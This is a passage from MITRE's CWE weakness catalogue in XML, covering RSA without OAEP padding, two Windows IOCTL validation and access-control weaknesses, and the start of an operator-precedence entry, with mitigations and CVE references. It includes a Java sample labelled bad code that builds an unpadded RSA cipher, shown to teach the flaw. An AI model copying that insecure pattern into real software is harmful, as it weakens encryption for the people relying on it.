					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Description, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes,
						Potential_Mitigations, Relationships, Research_Gaps,
						Terminology_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Name,
						Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>KDM Analytics</Modifier>
					          <Modification_Date>2009-07-17</Modification_Date>
					          <Modification_Comment>Improved the White_Box_Definition</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Description, Name,
						White_Box_Definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Observed_Examples,
						References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Detection_Factors</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Detection_Factors, Potential_Mitigations,
						References, Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Description,
						Detection_Factors, Name, Observed_Examples, Potential_Mitigations,
						References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Description,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations, References, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, References, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">OS Command
						Injection</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-01-12">Failure to Sanitize Data into
						an OS Command (aka 'OS Command Injection')</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Failure to Preserve OS
						Command Structure (aka 'OS Command Injection')</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-07-27">Failure to Preserve OS
						Command Structure ('OS Command Injection')</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-06-21">Improper Sanitization of
						Special Elements used in an OS Command ('OS Command
						Injection')</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="780" Name="Use of RSA Algorithm without OAEP" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software uses the RSA algorithm but does not incorporate
					Optimal Asymmetric Encryption Padding (OAEP), which might weaken the
					encryption.</Description_Summary>
				        <Extended_Description>
					          <Text>Padding schemes are often used with cryptographic algorithms to make the
						plaintext less predictable and complicate attack efforts. The OAEP scheme is
						often used with RSA to nullify the impact of predictable common text.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>327</Relationship_Target_ID>
					          <!--Use of a Broken or Risky Cryptographic Algorithm-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>310</Relationship_Target_ID>
					          <!--Cryptographic Issues-->
				</Relationship>
			      </Relationships>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>This entry could probably have a new parent related to improper padding,
						however the role of padding in cryptographic algorithms can vary, such as
						hiding the length of the plaintext and providing additional random bits for
						the cipher. In general, cryptographic problems in CWE are not well organized
						and further research is needed.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Without OAEP in RSA encryption, it will take less work for an attacker
							to decrypt the data or to infer patterns from the ciphertext.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The example below attempts to build an RSA cipher.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public Cipher getRSACipher() {</Code>
							              <Block>
								                <Code>Cipher rsa = null;</Code>
								                <Code>try {</Code>
								                <Block>
									                  <Code>rsa =
										javax.crypto.Cipher.getInstance("RSA/NONE/NoPadding");</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>catch (java.security.NoSuchAlgorithmException e) {</Code>
								                <Block>
									                  <Code>log("this should never happen", e);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>catch (javax.crypto.NoSuchPaddingException e) {</Code>
								                <Block>
									                  <Code>log("this should never happen", e);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>return rsa;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>While the previous code successfully creates an RSA cipher, the cipher
							does not use padding. The following code creates an RSA cipher using
							OAEP.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public Cipher getRSACipher() {</Code>
							              <Block>
								                <Code>Cipher rsa = null;</Code>
								                <Code>try {</Code>
								                <Block>
									                  <Code>rsa =
										javax.crypto.Cipher.getInstance("RSA/ECB/OAEPWithMD5AndMGF1Padding");</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>catch (java.security.NoSuchAlgorithmException e) {</Code>
								                <Block>
									                  <Code>log("this should never happen", e);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>catch (javax.crypto.NoSuchPaddingException e) {</Code>
								                <Block>
									                  <Code>log("this should never happen", e);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>return rsa;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>Ronald L. Rivest</Reference_Author>
					          <Reference_Author>Burt Kaliski</Reference_Author>
					          <Reference_Title>RSA Problem</Reference_Title>
					          <Reference_Date>2003-12-10</Reference_Date>
					          <Reference_Link>http://people.csail.mit.edu/rivest/RivestKaliski-RSAProblem.pdf</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Title>Optimal Asymmetric Encryption Padding</Reference_Title>
					          <Reference_Publisher>Wikipedia</Reference_Publisher>
					          <Reference_Date>2009-07-08</Reference_Date>
					          <Reference_Link>http://en.wikipedia.org/wiki/Optimal_Asymmetric_Encryption_Padding</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="External_Submission">
					          <Submitter_Organization>Fortify Software</Submitter_Organization>
					          <Submission_Date>2009-07-08</Submission_Date>
					          <Submission_Comment>Based on information from Fortify
						Software.</Submission_Comment>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="781" Name="Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software defines an IOCTL that uses METHOD_NEITHER for I/O,
					but it does not validate or incorrectly validates the addresses that are
					provided.</Description_Summary>
				        <Extended_Description>
					          <Text>When an IOCTL uses the METHOD_NEITHER option for I/O control, it is the
						responsibility of the IOCTL to validate the addresses that have been
						supplied to it. If validation is missing or incorrect, attackers can supply
						arbitrary memory addresses, leading to code execution or a denial of
						service.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>465</Relationship_Target_ID>
					          <!--Pointer Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>822</Relationship_Target_ID>
					          <!--Untrusted Pointer Dereference-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Prevalence="Often" Language_Name="C"/>
					          <Language Prevalence="Often" Language_Name="C++"/>
				        </Languages>
				        <Operating_Systems>
					          <Operating_System Prevalence="Sometimes" Operating_System_Name="Windows XP"/>
					          <Operating_System Prevalence="Sometimes" Operating_System_Name="Windows 2000"/>
					          <Operating_System Prevalence="Sometimes" Operating_System_Name="Windows Vista"/>
				        </Operating_Systems>
				        <Platform_Notes>
					          <Text>Because IOCTL functionality is typically performing low-level actions and
						closely interacts with the operating system, this weakness may only appear
						in code that is written in low-level languages.</Text>
				        </Platform_Notes>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Low to Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker may be able to access memory that belongs to another
							process or user. If the attacker can control the contents that the IOCTL
							writes, it may lead to code execution at high privilege levels. At the
							least, a crash can occur.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>If METHOD_NEITHER is required for the IOCTL, then ensure that all
							user-space addresses are properly validated before they are first
							accessed. The ProbeForRead and ProbeForWrite routines are available for
							this task. Also properly protect and manage the user-supplied buffers,
							since the I/O Manager does not do this when METHOD_NEITHER is being
							used. See References.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>If possible, avoid using METHOD_NEITHER in the IOCTL and select
							methods that effectively control the buffer size, such as
							METHOD_BUFFERED, METHOD_IN_DIRECT, or METHOD_OUT_DIRECT.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>If the IOCTL is part of a driver that is only intended to be accessed
							by trusted users, then use proper access control for the associated
							device or device namespace. See References.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-2373</Observed_Example_Reference>
					          <Observed_Example_Description>Driver for file-sharing and messaging protocol
						allows attackers to execute arbitrary code.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-0686</Observed_Example_Reference>
					          <Observed_Example_Description>Anti-virus product does not validate addresses,
						allowing attackers to gain SYSTEM privileges.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-0824</Observed_Example_Reference>
					          <Observed_Example_Description>DVD software allows attackers to cause a
						crash.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-5724</Observed_Example_Reference>
					          <Observed_Example_Description>Personal firewall allows attackers to gain SYSTEM
						privileges.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-5756</Observed_Example_Reference>
					          <Observed_Example_Description>chain: device driver for packet-capturing software
						allows access to an unintended IOCTL with resultant array index
						error.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>While this type of issue has been known since 2006, it is probably still
						under-studied and under-reported. Most of the focus has been on high-profile
						software and security products, but other kinds of system software also use
						drivers. Since exploitation requires the development of custom code, it
						requires some skill to find this weakness.</Text>
					          <Text>Because exploitation typically requires local privileges, it might not be
						a priority for active attackers. However, remote exploitation may be
						possible for software such as device drivers. Even when remote vectors are
						not available, it may be useful as the final privilege-escalation step in
						multi-stage remote attacks against application-layer software, or as the
						primary attack by a local user on a multi-user system.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference>
					          <Reference_Author>Ruben Santamarta</Reference_Author>
					          <Reference_Title>Exploiting Common Flaws in Drivers</Reference_Title>
					          <Reference_Date>2007-07-11</Reference_Date>
					          <Reference_Link>http://reversemode.com/index.php?option=com_content&amp;task=view&amp;id=38&amp;Itemid=1</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Yuriy Bulygin</Reference_Author>
					          <Reference_Title>Remote and Local Exploitation of Network
						Drivers</Reference_Title>
					          <Reference_Date>2007-08-01</Reference_Date>
					          <Reference_Link>https://www.blackhat.com/presentations/bh-usa-07/Bulygin/Presentation/bh-usa-07-bulygin.pdf</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Anibal Sacco</Reference_Author>
					          <Reference_Title>Windows driver vulnerabilities: the METHOD_NEITHER
						odyssey</Reference_Title>
					          <Reference_PubDate>October 2008</Reference_PubDate>
					          <Reference_Link>http://www.net-security.org/dl/insecure/INSECURE-Mag-18.pdf</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Microsoft</Reference_Author>
					          <Reference_Title>Buffer Descriptions for I/O Control Codes</Reference_Title>
					          <Reference_Link>http://msdn.microsoft.com/en-us/library/ms795857.aspx</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Microsoft</Reference_Author>
					          <Reference_Title>Using Neither Buffered Nor Direct I/O</Reference_Title>
					          <Reference_Link>http://msdn.microsoft.com/en-us/library/cc264614.aspx</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Microsoft</Reference_Author>
					          <Reference_Title>Securing Device Objects</Reference_Title>
					          <Reference_Link>http://msdn.microsoft.com/en-us/library/ms794722.aspx</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Piotr Bania</Reference_Author>
					          <Reference_Link>http://www.piotrbania.com/all/articles/ewdd.pdf</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2009-07-15</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Potential_Mitigations,
						References, Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="782" Name="Exposed IOCTL with Insufficient Access Control" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software implements an IOCTL with functionality that should
					be restricted, but it does not properly enforce access control for the
					IOCTL.</Description_Summary>
				        <Extended_Description>
					          <Text>When an IOCTL contains privileged functionality and is exposed
						unnecessarily, attackers may be able to access this functionality by
						invoking the IOCTL. Even if the functionality is benign, if the programmer
						has assumed that the IOCTL would only be accessed by a trusted process,
						there may be little or no validation of the incoming data, exposing
						weaknesses that would never be reachable if the attacker cannot call the
						IOCTL directly.</Text>
					          <Text>The implementations of IOCTLs will differ between operating system types
						and versions, so the methods of attack and prevention may vary
						widely.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>749</Relationship_Target_ID>
					          <!--Exposed Dangerous Method or Function-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>284</Relationship_Target_ID>
					          <!--Improper Access Control-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>781</Relationship_Target_ID>
					          <!--Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This can be primary to many other weaknesses when the programmer assumes
						that the IOCTL can only be accessed by trusted parties. For example, a
						program or driver might not validate incoming addresses in METHOD_NEITHER
						IOCTLs in Windows environments (CWE-781), which could allow buffer overflow
						and similar attacks to take place, even when the attacker never should have
						been able to access the IOCTL at all.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Prevalence="Often" Language_Name="C"/>
					          <Language Prevalence="Often" Language_Name="C++"/>
				        </Languages>
				        <Operating_Systems>
					          <Operating_System_Class Operating_System_Class_Description="UNIX-based"/>
					          <Operating_System_Class Operating_System_Class_Description="Windows-based"/>
				        </Operating_Systems>
				        <Platform_Notes>
					          <Text>Because IOCTL functionality is typically performing low-level actions and
						closely interacts with the operating system, this weakness may only appear
						in code that is written in low-level languages.</Text>
				        </Platform_Notes>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Low to Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Note>
						            <Text>Attackers can invoke any functionality that the IOCTL offers.
							Depending on the functionality, the consequences may include code
							execution, denial-of-service, and theft of data.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>In Windows environments, use proper access control for the associated
							device or device namespace. See References.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2208</Observed_Example_Reference>
					          <Observed_Example_Description>Operating system does not enforce permissions on
						an IOCTL that can be used to modify network
						settings.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-3831</Observed_Example_Reference>
					          <Observed_Example_Description>Device driver does not restrict ioctl calls to its
						master.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-3525</Observed_Example_Reference>
					          <Observed_Example_Description>ioctl does not check for a required capability
						before processing certain requests.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-0322</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: insecure device permissions allows access
						to an IOCTL, allowing arbitrary memory to be
						overwritten.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-4277</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: anti-virus product uses weak permissions
						for a device, leading to resultant buffer overflow in an exposed
						IOCTL.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-1400</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: sandbox allows opening of a TTY device,
						enabling shell commands through an exposed
						ioctl.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-4926</Observed_Example_Reference>
					          <Observed_Example_Description>Anti-virus product uses insecure security
						descriptor for a device driver, allowing access to a privileged IOCTL.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-0728</Observed_Example_Reference>
					          <Observed_Example_Description>Unauthorized user can disable keyboard or mouse by
						directly invoking a privileged IOCTL.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>Microsoft</Reference_Author>
					          <Reference_Title>Securing Device Objects</Reference_Title>
					          <Reference_Link>http://msdn.microsoft.com/en-us/library/ms794722.aspx</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2009-07-15</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="783" Name="Operator Precedence Logic Error" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The program uses an expression in which operator precedence
					causes incorrect logic to be used.</Description_Summary>
				        <Extended_Description>
					          <Text>While often just a bug, operator precedence logic errors can have serious
						consequences if they are used in security-critical code, such as making an
						authentication decision.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>670</Relationship_Target_ID>
					          <!--Always-Incorrect Control Flow Implementation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>569</Relationship_Target_ID>
					          <!--Expression Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>737</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 03 - Expressions (EXP)-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Prevalence="Rarely" Language_Name="C"/>
					          <Language Prevalence="Rarely" Language_Name="C++"/>
					          <Language_Class Prevalence="Rarely" Language_Class_Description="Any"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Modes_of_Introduction>
				        <Mode_of_Introduction>
					          <Text>Logic errors related to operator precedence may cause problems even during
						normal operation, so they are probably discovered quickly during the testing
						phase. If testing is incomplete or there is a strong reliance on manual
						review of the code, then these errors may not be discovered before the
						software is deployed.</Text>
				        </Mode_of_Introduction>
			      </Modes_of_Introduction>
			      <Likelihood_of_Exploit>Low</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The consequences will vary based on the context surrounding the
							incorrect precedence. In a security decision, integrity or
							confidentiality are the most likely results. Otherwise, a crash may
							occur due to the software reaching an unexpected state.</Text>
					          </Consequence_Note>
